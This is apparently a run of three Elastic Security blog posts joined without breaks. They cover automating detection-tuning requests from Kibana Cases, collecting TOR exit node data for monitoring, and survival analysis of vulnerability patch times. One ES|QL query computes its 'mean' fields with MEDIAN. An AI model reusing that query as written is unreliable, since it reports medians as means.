You can add runtime fields through the Kibana UI or by using the Elasticsearch API in the Dev Tools console. If you have not already created a data view for the Cases information you will need to do that first.

While viewing the new Kibana Cases Data view click the ‘Add Field’ button to open the flyout menu to create a new runtime field.

Enter the name of the field, in this example we are configuring TuningRequired as a new Boolean field type. Click the ‘Set Value’ toggle to configure this as a new Runtime field configured via a painless script. Update this painless script to replace TUNING_REQUIRED_FIELD_KEY_UUID with the key value from the Tuning Required custom field and paste it into the value field and save the new runtime field.

...
    if (params._source.containsKey('cases') &&
    params._source.cases != null &&
    params._source.cases.containsKey('customFields') &&
    params._source.cases.customFields != null) 
{
  for (def cf : params._source.cases.customFields) {
    if (cf != null &&
        cf.containsKey('key') &&
        cf.key != null &&
        cf.key.contains('TUNING_REQUIRED_FIELD_KEY_UUID') &&
        cf.containsKey('value') &&
        cf.value != null) {
      emit(cf.value);
      break;
    }
  }
}

Repeat this process for the TuningDetail field, remember to use the key value from the text field in this field’s painless script. If you have any additional custom fields in your cases that you want to use for dashboards or metrics you can map those as well with this same process.

If you control your cluster settings and data views ‘as code’ you can also add runtime fields to an index mapping using the Update mapping API from the Kibana Dev Tools console.

Automating the tuning request creation

We can trigger this automation in two ways: through a custom detection rule (that will create a new alert and send it to a connector when a case is updated with a tuning request) or via a scheduled external automation that queries the API.

This automation can be created using any automation platform such as Tines, Github Actions, or custom scripting. This is the logic we use for our automation:

Step 1: Find any cases recently tagged as TuningRequired

You can use this elasticsearch query to find any cases that have been updated within the last hour where the TuningRequired field has been set to true. This query uses the cases.updated_at field as the time range. The runtime field mappings must be included in the API request to query the custom fields.

This query will return all of the case documents from the .kibana_alerting_cases index that have been updated in the last hour and the TuningRequired field has been set to true

POST /.kibana_alerting_cases/_search  
{  
  "query": {  
    "bool": {  
      "must": [],  
      "filter": [  
        {  
          "bool": {  
            "should": [  
              {  
                "match": {  
                  "TuningRequired": true  
                }  
              }  
            ],  
            "minimum_should_match": 1  
          }  
        },  
        {  
          "range": {  
            "cases.updated_at": {  
              "format": "strict_date_optional_time",  
              "gte": "now-1h",  
              "lte": "now"  
            }  
          }  
        }  
      ],  
      "should": [],  
      "must_not": []  
    }  
  },  
 "runtime_mappings": {  
   "TuningDetail": {  
     "type": "keyword",  
     "script": {  
       "source": "if (\nparams._source.containsKey('cases') &&\nparams._source.cases != null &&\nparams._source.cases.containsKey('customFields') &&\nparams._source.cases.customFields != null\n) {\nfor (def cf : params._source.cases.customFields) {\nif (\ncf != null &&\ncf.containsKey('key') &&\ncf.key != null &&\ncf.key.contains('6cadc70a-7d68-4531-9861-7d5bc24c4c1c') &&\ncf.containsKey('value') &&\ncf.value != null\n) {\nemit(cf.value);\nbreak;\n}\n}\n}"  
     }  
   },  
   "TuningRequired": {  
     "type": "boolean",  
     "script": {  
       "source": "if (\nparams._source.containsKey('cases') &&\nparams._source.cases != null &&\nparams._source.cases.containsKey('customFields') &&\nparams._source.cases.customFields != null\n) {\nfor (def cf : params._source.cases.customFields) {\nif (\ncf != null &&\ncf.containsKey('key') &&\ncf.key != null &&\ncf.key.contains('496e71f2-2bce-47a2-93a8-00db0de2d1b4') &&\ncf.containsKey('value') &&\ncf.value != null\n) {\nemit(cf.value);\nbreak;\n}\n}\n}"  
     }  
   }  
 },  
  "fields": [  
    "TuningDetail",  
    "TuningRequired"  
  ]  
}

Any time a field is changed or a comment is made in a case it will update the updated_at field to the current time. Because any update or comment added to a case will update this timestamp, it is possible to have a single case returned multiple times by this automation if it is run regularly while the case is being updated. Any automation processes leveraged for this should have a deduplication process to prevent processing the same case multiple times in this scenario.

Step 2: Parsing each case

Loop through each of the cases returned by the previous query to process them one at a time. Each document returned will contain the fields array with the values from the custom fields, as well as other useful fields. Parse each of the following fields and store them for future use:

• The _id field will have a format like cases:{{case_ID}}. The case ID is used for future API requests in the automation to add comments to the case or retrieve all alerts attached to the case.
• cases.title is the title of the case
• cases.assignees is who the case is assigned to
• cases.updated_by is the last person to update the case, this is often the person submitting the tuning request and can be useful for knowing who to contact for more information.
• cases.tags can be useful if you are using tags to sort or identify your cases.

Step 3: Retrieving the alerts attached to the case

For each case you will want to know which alerts are attached to the case so you know which alerts need to be tuned. This can be done using the cases API with the _id field for the case.

/api/cases/{caseId}/alerts

This query will return an array of all alert id values that are attached to the case. Using this ID value you can query the .siem-signals* elasticsearch index to find the full information about each alert attached to the case that needs tuning.

POST /.siem-signals-*/_search  
{  
 "size": 1,  
 "query": {  
   "bool": {  
     "must": [],  
     "filter": [  
       {  
         "bool": {  
           "should": [  
             {  
               "match": {  
                 "_id": "{{alert_id}}"  
               }  
             }  
           ],  
           "minimum_should_match": 1  
         }  
       },  
       {  
         "range": {  
           "@timestamp": {  
             "format": "strict_date_optional_time",  
             "gte": "now-30d",  
             "lte": "now"  
           }  
         }  
       }  
     ],  
     "should": [],  
     "must_not": []  
   }  
 }  
}

From the results of this query you can extract information about the alert such as the name and creation date, along with any other information that could help for tuning such as the user.name or process.name fields. Because a case can have many alerts attached to it you will want to deduplicate the alerts by the signal.rule.name value.

Step 4: Opening a tuning request.

This step is dependent on the ticketing system you use in your environment. Our team uses github issues to track tuning requests and slack for notifications, but this could also be done with any ticketing or project management system that supports automation.

This is the logic flow we use for our automation using both Github and Slack to track tuning requests:

• Using the name of the alert we search for any existing open tuning requests.
  • If an existing tuning request exists we update that request with the details from the case and the new request
  • If no existing request exists we open a new tuning request issue and attach the information
• We then send a slack notification to the Detection engineering team’s slack channel containing a link to the tuning request, a link to the case, and details about the request and alert.
• We then use the Cases API to add a comment to the original case with a link to the tuning request issue
• Optional AI Agent: We are starting to experiment with the use of AI Agents to analyze the alert and case information and then provide even better context with the tuning request, potentially even recommending the changes to make to the detection rules.

The final result from this automation is that our SOC Analysts can create a detailed detection tuning request ticket with a single click from their case. We have seen a dramatic increase in the reduction of false positives and the overall efficiency of our detection rules because of this automation.

Conclusion

By using Kibana Cases with custom fields and integrating with automation platforms, you can optimize many of your manual processes. This automated workflow reduces the manual overhead associated with collecting analyst feedback, ensuring that valuable analyst insights are quickly translated into actionable improvements in detection rules. The result is a more efficient, accurate, and resilient SOC that can adapt rapidly to emerging threats and reduce alert fatigue.

Ready to optimize your SOC's efficiency and improve your detection posture? Explore Elastic Security and start building your own automated tuning request workflows today!

In today’s complex cybersecurity landscape, one of the most overlooked but critical elements in proactive threat detection is monitoring for TOR (The Onion Router) exit node activity. TOR enables anonymous communication, and while it serves legitimate privacy interests, it also provides cover for cybercriminals, malware campaigns, and data exfiltration.

What Are TOR Exit Nodes?

TOR exit nodes are the final relay points in the TOR network where encrypted traffic exits to the open internet. If a user browses the web anonymously via TOR, the website or service they access will see the IP address of the exit node, not the user's actual IP address.

In other words, any network traffic originating from a TOR exit node is untraceable to its source without cooperation from the TOR network, which is unlikely by design.

Why Should You Care?

While not all TOR activity is malicious, a substantial amount of malicious traffic uses TOR to mask its origin. Here’s why it matters:

1. Anonymized Reconnaissance: Attackers often perform scans and probes from TOR exit nodes. If someone is mapping your infrastructure using TOR, they may be preparing for a breach attempt while remaining anonymous.

2. Command and Control (C2) Channels: Many malware families use TOR for C2 communications, making it hard to trace the infected endpoint back to its controller.

3. Data Exfiltration: TOR is a common channel for exfiltrating sensitive data out of an organization. If sensitive files are being uploaded to external endpoints via TOR, you may already be compromised.

4. Compliance Risks: Some industries (e.g., healthcare, finance) require strict data handling and access controls. Allowing or ignoring TOR-originated traffic could violate these policies or industry regulations.

You should look for any interactions between TOR exit nodes and:

• host.ip
• server.ip
• destination.ip
• source.ip
• client.ip

This can occur in logs from firewalls, DNS, proxies, endpoint agents, cloud access logs, and more.

How to Monitor for TOR Exit Nodes

In order to collect, monitor, alert, and report on TOR Exit Node activity, we must first create a few components, namely, we will create an index template and an ingest pipeline. We will then hit the TOR API endpoint every 1 hour to request the most recent detailed information.

If you would like to learn more about options for monitoring TOR, you may read about them here. If you would like to know more about the TOR Project in general, you may read about it here.

Ingest Pipeline

First, let’s create an Ingest Pipeline that will accomplish the last bit of parsing our data before it is written to an index. In DevTools, simply apply the following: there are descriptions for each processor; should you want to know more about what each does and its associated condition, if present.

Here is what your screen may look like:

You may find the ingest pipeline on GitHub.

Index Template

Next, we need to create our index template to ensure our fields are correctly mapped.

Still in DevTools, submit the following request just as you completed with the ingest pipeline. You may find the index template via this link on GitHub.

Notice the priority of the index template; we set this to a much higher number so that this template will take precedence over the default logs-*-* template. While you will notice in the following steps that we set the ingest pipeline in our configuration for data collection, we may also apply it here as a safeguard to ensure data is written through this pipeline.

Elastic-Agent Policy

With these two items loaded, we may now navigate to Fleet and select the “agent policy” we want to install our integration to.

On the policy you wish to install the TOR collection to, simply click “Add integration”.

Select “Custom” from the left-hand category list, then click “Custom API”.

Click the blue “Add Custom API” button on your top right.

You may title your Integration anything you like; however, I will be using “TOR Node Activity” in this example.

Fill in the following fields:

Dataset name:
ti_tor.node_activity

Ingest Pipeline:
logs-ti_tor.node_activity

Request URL:
https://onionoo.torproject.org/details?fields=exit_addresses,nickname,fingerprint,running,as_name,verified_host_names,unverified_host_names,or_addresses,last_seen,last_changed_address_or_port,first_seen,hibernating,last_restarted,bandwidth_rate,bandwidth_burst,observed_bandwidth,flags,version,version_status,advertised_bandwidth,platform,recommended_version,contact

Request Interval:
60m

Request HTTP Method:
GET

Response Split:
target: body.relays

You will then need to click to expand the “> Advanced options” and scroll down a bit more.

You may find the necessary processor snippet to copy at GitHub here.

You may now click the “Save and continue” button and in a few minutes you will have TOR node activity available in your logs-* index!

Filebeat Installation Option

If you are not using Elastic-Agent and wish to ingest via Filebeat, that’s cool too! Instead of using the steps above, simply leverage the following “filebeat.inputs:” which will use the exact same ingest pipeline and index template as above! Simply copy and paste the input section into your filebeat.yml file, you will still need to add an output section.

Reviewing your data

Now that you've completed the configuration of the ingest pipeline and the agent integration, you can see the TOR nodes in the Discover view. From here, you can create rules, visualizations, dashboards, etc., to help keep tabs on how TOR is being used on your network.

What can you do next?

The beautiful thing about the naming convention for this index, is that it will automatically function with your Threat Intel IP Address Indicator Match rule available in the Elastic SIEM.

However, you may want to make your own rule using some of the wealth of information that is provided with this integration; particularly depending on the type of node observed environment. Since there was a considerable amount of geo-based data enriched with this index, now would be an excellent time to check out some of the map features within Kibana.

Introduction

Understanding how quickly vulnerabilities are remediated across different environments and teams is critical to maintaining a strong security posture. In this article, we describe how we applied survival analysis to vulnerability management (VM) data from Qualys VMDR, using the Elastic Stack. This allowed us to not only confirm general assumptions about team velocity (how quickly teams complete work) and remediation capacity (how much fixing they can take on) but also derive measurable insights. Since most of our security data is in the Elastic Stack, this process should be easily reproducible to other security data sources.

Why We Did It

Our primary motivation was to move from general assumptions to data-backed insights about:

• How quickly different teams and environments patch vulnerabilities
• Whether patching performance meets internal service level objectives (SLOs)
• Where bottlenecks or delays commonly occur
• What other factors can affect patching performance

Why Survival Analysis? A Better Alternative to Mean Time to Remediate

Mean Time to Remediate (MTTR) is commonly used to track how quickly vulnerabilities are patched, but both the mean and median suffer from significant limitations (we provide an example later in this article). The mean is highly sensitive to outliers[^1] and assumes the remediation times are evenly balanced around the average remediation time, which is rarely the case in practice. The median is less sensitive to extremes but discards information about the shape of the distribution and says nothing about the long tail of slow-to-patch vulnerabilities. Neither accounts for unresolved cases, i.e. vulnerabilities that remain open beyond the observation window, which are often excluded entirely. In practice, the vulnerabilities that remain open the longest are precisely the ones we should be most concerned about.

Survival analysis addresses these limitations. Originating in medical and actuarial contexts, it models time-to-event data while explicitly incorporating censored observations, meaning in our context vulnerabilities that remain open. (For more details on its application to vulnerability management we strongly recommend “The Metrics Manifesto”). Instead of collapsing remediation behavior into a single number, survival analysis estimates the probability that a vulnerability remains unpatched over time (e.g. 90% of vulnerabilities are remediated within 30 days). This allows for more meaningful assessments, such as the proportion of vulnerabilities patched within SLO (for example within 30, 90, or 180 days).

Survival analysis provides us with a survival function that estimates the probability a vulnerability remains unpatched over time.

::: This method offers a better view of remediation performance, allowing us to assess not just how long vulnerabilities persist, but also how remediation behavior differs across systems, teams, or severity levels. It’s particularly well-suited to security data, which is often incomplete, skewed, and resistant to assumptions of normality. :::

Context

Although we have applied survival analysis across different environments, teams and organizations, in this blog we focus on the results for the Elastic Cloud production environment.

Vulnerability age calculation

There are different methods to calculate vulnerability age.

For our internal metrics like vulnerability adherence SLO, we define vulnerability age as the difference between when a vulnerability was last found and when it was first detected (usually a few days after publication). This approach aims to penalize vulnerabilities that are reintroduced from an outdated base image. In the past, our base images were not updated frequently enough for our satisfaction. If a new instance is created, vulnerabilities can have a significant age (e.g., 100 days) from day one of discovery.

For this analysis, we find it more relevant to calculate the age based on the number of days between the last found date and the first found date. In this case, age represents the number of days the system was effectively exposed.

“Patch everything” strategy

In our Cloud environment, we maintain a policy to patch everything. This is because we almost exclusively use the same base image across all instances. Since Elastic Cloud operates fully on containers, there are no specific application packages (e.g., Elasticsearch) installed directly on our systems. Our fleet remains homogeneous as a result.

Data Pipeline

Ingesting and mapping data into the Elastic Stack can be cumbersome. Luckily, we have many security integrations that handle those natively, Qualys VMDR being one of them.

This integration has 3 main interests over custom ingestion methods (e.g. scripts, beats, …):

• It natively enriches vulnerability data from the Qualys Knowledge Base which add CVE IDs, threat intel information, … without needing to configure enrich pipelines.
• Qualys data is already mapped to the Elastic Common Schema which is a standardized way of representing data, whether it’s coming from one source or another: for example, CVEs are always stored in field vulnerability.id, independent of the source.
• A transform with the latest vulnerability is already set up. This index can be queried to get the latest vulnerabilities status.

Qualys agent integration configuration

For survival analysis, we need to ingest both active and patched vulnerabilities. To analyze a specific period, we need to set the number of days in field max_days_since_detection_updated. In our environment, we ingest Qualys data daily, so there’s no need to ingest a long history of fixed data, as we’ve already done that.

The Qualys VMDR elastic agent integration has been configured with the following:

Once data is fully ingested, it can be reviewed either in Kibana Discover (logs-* data view -> data_stream.dataset : "qualys_vmdr.asset_host_detection" ), either in the Kibana Security App (Findings -> Vulnerabilities).

Loading data into Python with the elasticsearch client

Since the survival analysis calculation will be done in Python, we need to extract data from elastic into a python dataframe. There are several ways to achieve this, and in this article we’ll focus on two of them.

With ES|QL

The easiest and most convenient way is to leverage ES|QL with the arrow format. It’ll automatically populate the python dataframe (rows and columns). We recommend reading the blog post From ES|QL to native Pandas dataframes in Python to get more details.

from elasticsearch import Elasticsearch
import pandas as pd

client = Elasticsearch(
    "https://[host].elastic-cloud.com",
    api_key="...",
)

response = client.esql.query(
    query="""
   FROM logs-qualys_vmdr.asset_host_detection-default
    | WHERE elastic.owner.team == "platform-security" AND elastic.environment == "production"
    | WHERE qualys_vmdr.asset_host_detection.vulnerability.is_ignored == FALSE
    | EVAL vulnerability_age = DATE_DIFF("day", qualys_vmdr.asset_host_detection.vulnerability.first_found_datetime, qualys_vmdr.asset_host_detection.vulnerability.last_found_datetime)
    | STATS 
        mean=AVG(vulnerability_age), 
        median=MEDIAN(vulnerability_age)
    """,
    format="arrow",
)
df = response.to_pandas(types_mapper=pd.ArrowDtype)
print(df)

Today, we have a limitation with ESQL: we can’t paginate through results. Therefore we are limited to 10K output documents (100K if server configuration is modified). Progress can be followed through this enhancement request.

With DSL

In the elasticsearch python client, there is a native feature to extract all the data from a query with transparent pagination. The challenging part is to create the DSL query. We recommend creating the query in Discover and then click on Inspect, and then Request tab to get the DSL query.

query = {
    "track_total_hits": True,
    "query": {
        "bool": {
            "filter": [
                {
                    "match": {
                        "elastic.owner.team": "awesome-sre-team"
                    }
                },
                {
                    "match": {
                        "elastic.environment": "production"
                    }
                },
                {
                    "match": {
"qualys_vmdr.asset_host_detection.vulnerability.is_ignored": False
                    }
                }
            ]
        }
    },
    "fields": [
        "@timestamp",
        "qualys_vmdr.asset_host_detection.vulnerability.unique_vuln_id",
        "qualys_vmdr.asset_host_detection.vulnerability.first_found_datetime",
        "qualys_vmdr.asset_host_detection.vulnerability.last_found_datetime",
        "elastic.vulnerability.age",
        "qualys_vmdr.asset_host_detection.vulnerability.status",
        "vulnerability.severity",
        "qualys_vmdr.asset_host_detection.vulnerability.is_ignored"
    ],
    "_source": False
}

results = list(scan(
        client=es,
        query=query,
        scroll='30m',
        index=source_index,
        size=10000,
        raise_on_error=True,
        preserve_order=False,
        clear_scroll=True
    ))

Survival Analysis

You can refer to the code to understand or reproduce it on your dataset.

What We Learned

Leaning in on the research from the Cyentia Institute we looked at a few different ways to measure how long it takes to remediate vulnerabilities using means, medians, and survival curves. Each method gives a different lens through which we can understand time-to-patch data, and the comparison is important because depending on which method we use, we would draw very different conclusions about how well vulnerabilities are being addressed.

The first method focuses only on vulnerabilities that have already been closed. It calculates the median and mean time it took to patch them. This is intuitive and simple, but it leaves out a potentially large and important portion of the data (the vulnerabilities that are still open). As a result, it tends to underestimate the true time it takes to remediate, especially if some vulnerabilities stay open much longer than others.

The second method tries to include both closed and open vulnerabilities by using the time they’ve been open so far. There are many options to approximate a time-to-patch for the open vulnerabilities, but for simplicity here we assumed they were (will be?) patched at the time of reporting, which we know isn’t true. But it does offer a way to factor in their existence.

The third method uses survival analysis. Specifically, we used the Kaplan-Meier estimator to model the likelihood that a vulnerability is still open at any given time. This method handles the open vulnerabilities properly: instead of pretending they’re patched, it treats them as “censored” data. The survival curve it produces drops over time, showing the proportion of vulnerabilities still open as days or weeks pass.

How Long Do Vulnerabilities Last?

In the current 6-month snapshot[^2], the closed-only time-to-patch has a median ~33 days and a mean ~35 days. On the surface that looks reasonable, but the Kaplan-Meier curve shows what those numbers hide: at 33 days, ~54% are still open; at 35 days, ~46% are still open. So even around the “typical” one-month mark, about half of issues remain unresolved.

We also computed observed-so-far statistics (treating open vulnerabilities as if they were patched at the end of the measurement window). In this window they happen to be almost the same (median ~33 days, mean ~35 days) because the ages of today’s open items cluster near one month. That coincidence can make averages look reassuring, but it’s incidental and unstable: if we shift the snapshot to just before the monthly patch push and these same statistics drop sharply (we’ve seen an observed median of ~19 days and observed a mean of ~15 days) without any change in the underlying process.

The survival curve avoids that trap, because it answers the question of “% still open after 30/60/90 days”, and offers visibility into the long tail that stays open well past a month.

Patch Everything Everywhere The Same Way?

Stratified survival analysis takes the idea of survival curves one step further. Instead of looking at all vulnerabilities together in one big pool, it separates them into groups (or “strata”) based on some meaningful characteristic. In our analysis, we have stratified vulnerabilities by severity, asset criticality, environment, cloud provider, team/division/organization. Each group gets its own survival curve, and here in the example graph we compare how quickly different vulnerability severities are remediated over time.

The benefit of this approach is that it exposes differences that would otherwise be hidden in the aggregate. If we only looked at the overall survival curve, we can only make conclusions about the remediation performance across the board. But stratification reveals if different teams, environments or severity issues are addressed faster than the rest, and in our case that the patch everything strategy is indeed consistent. This level of detail is important for making targeted improvements, helping us understand not just how long remediation takes in general, but if and where real bottlenecks exist.

How Fast Do Teams Act?

While the survival curve emphasizes how long vulnerabilities remain open, we can flip the perspective by using the cumulative distribution function (CDF) instead. The CDF focuses on how quickly vulnerabilities are patched, showing the proportion of vulnerabilities that have been remediated by a given point in time.

Our choice of plotting the CDF provides a clear picture of remediation speed, however it’s important to note that this version includes only vulnerabilities that were patched within the observed time window. Unlike the survival curve which we compute over a rolling 6-month cohort to capture full lifecycles, the CDF is computed month-over-month on items closed in that month[^3].

As such, it tells us how quickly teams remediate vulnerabilities once they do so, and it doesn’t reflect how long unresolved vulnerabilities remain open. For example, we see that 83.2% of the vulnerabilities closed in the current month were resolved within 30 days of the first detection. This highlights patching velocity for recent, successful patches but does not account for longer-standing vulnerabilities that remain open and are likely to have longer time-to-patch durations. Therefore, we use the CDF for understanding short-term response behavior, whereas the full lifecycle dynamics are given by a combination of CDF alongside survival analysis: the CDF describes how fast teams act once they patch, whereas the survival curve shows how long vulnerabilities truly last.

Difference Between Survival Analysis and Mean/Median

Wait, we said that survival analysis is better to analyze time to patch to avoid the impact of outliers. But in this example, mean/median and survival analysis provide similar results. What is the added value? The reason is simple: we don’t have outliers in our production environments since our patching process is fully automated and effective.

To demonstrate the impact on heterogeneous data, we’ll use an outdated example from a non-production environment that lacks automated patching.

ESQL query:

FROM qualys_vmdr.vulnerability_6months
  | WHERE elastic.environment == "my-outdated-non-production-environment"
  | WHERE qualys_vmdr.asset_host_detection.vulnerability.is_ignored == FALSE
  | EVAL vulnerability_age = DATE_DIFF("day", qualys_vmdr.asset_host_detection.vulnerability.first_found_datetime, qualys_vmdr.asset_host_detection.vulnerability.last_found_datetime)
  | STATS
      count=COUNT(*),
      count_closed_only=COUNT(*) WHERE qualys_vmdr.asset_host_detection.vulnerability.status == "Fixed",
      mean_observed_so_far=MEDIAN(vulnerability_age),
      mean_closed_only=MEDIAN(vulnerability_age) WHERE qualys_vmdr.asset_host_detection.vulnerability.status == "Fixed",
      median_observed_so_far=MEDIAN(vulnerability_age),
      median_closed_only=MEDIAN(vulnerability_age) WHERE qualys_vmdr.asset_host_detection.vulnerability.status == "Fixed"

In this example, using mean and median yield very different results. Choosing a single representative metric can be challenging and potentially misleading. The survival analysis graph accurately represents our effectiveness in addressing vulnerabilities within this environment.

Final Thoughts

The benefits of using survival analysis come not only from more accurate measurement but also from the insights into the dynamics of patching behaviour, showing where bottlenecks occur, factors that affect patching velocity and whether it aligns with our SLO. From a technical integration perspective, the use of survival analysis as part of our operational workflows and reporting can be achieved with minimal additional changes to our current Elastic Stack setup: survival analysis can run on the same cadence as our patching cycle with the results being pushed back into Kibana for visualization. The definitive advantage is to pair our existing operational metrics with survival analysis for both long-term trends and short-term performance tracking.

Looking forward, we’re experimenting with additional new metrics like Arrival Rate, Burndown Rate, and Escape Rate that give us a way to move toward a more dynamic understanding of how vulnerabilities are really handled.

Arrival Rate is the measure of how quickly new vulnerabilities are entering the environment. Knowing that fifty new CVEs show up each month, for example, tells us what to expect in the workload before we even start measuring patches. So the arrival rate is a metric that does not necessarily inform about the backlog, but more about the pressure applied to the system.

Burndown Rate (trend) shows the other half of the equation: how quickly vulnerabilities are being remediated relative to how fast they arrive.

Escape Rate adds yet another dimension by focusing on vulnerabilities that slip past the points where they should have been contained. In our context, an escape is about CVEs that miss patching windows or exceed SLO thresholds. An elevated escape rate doesn’t just show that vulnerabilities exist but it also shows that the process designed to control them is failing, whether because patching cycles are too slow, automation processes are lacking, or compensating controls are not working as intended.

Together, the metrics create a better picture: arrival rate tells us how much new risk is being introduced; burndown trends show whether we are keeping pace with that pressure or being overwhelmed by it; escape rates expose where vulnerabilities persist despite planned controls.

[1]:An outlier in statistics is a data point that is very far from the central tendency (or far from the rest of the values in a dataset). For example, if most vulnerabilities are patched within 30 days, but one takes 600 days, that 600-day case is an outlier. Outliers can pull averages upward or downward in ways that don’t reflect the “typical” experience. In the patching context, these are the especially slow-to-patch vulnerabilities that sit open far longer than the norm. They may represent rare but important situations, like systems that can’t be easily updated, or patches that require extensive testing.

[2]: Note: The current 6-month dataset includes both all vulnerabilities that remain open at the end of the observation period (independent of how long ago they have been open /first seen) and all vulnerabilities that were closed during the 6-month window. Despite this mixed cohort approach, survival curves from prior observation windows show consistent trends, particularly in the early part of the curve. The shape and slope over the first 30–60 days have proven remarkably stable across snapshots, suggesting that metrics like median time-to-patch and early-stage remediation behavior are not artifacts of the short observation window. While long-term estimates (e.g. 90th percentile) remain incomplete in shorter snapshots, the conclusions drawn from these cohorts still reflect persistent and reliable patching dynamics.

[3]:We kept the CDF on a monthly cadence for operational reporting (throughput and SLO adherence for work completed during the current month), while the Kaplan-Meier uses a 6-month window to properly handle censoring and expose tail risk across the broader cohort.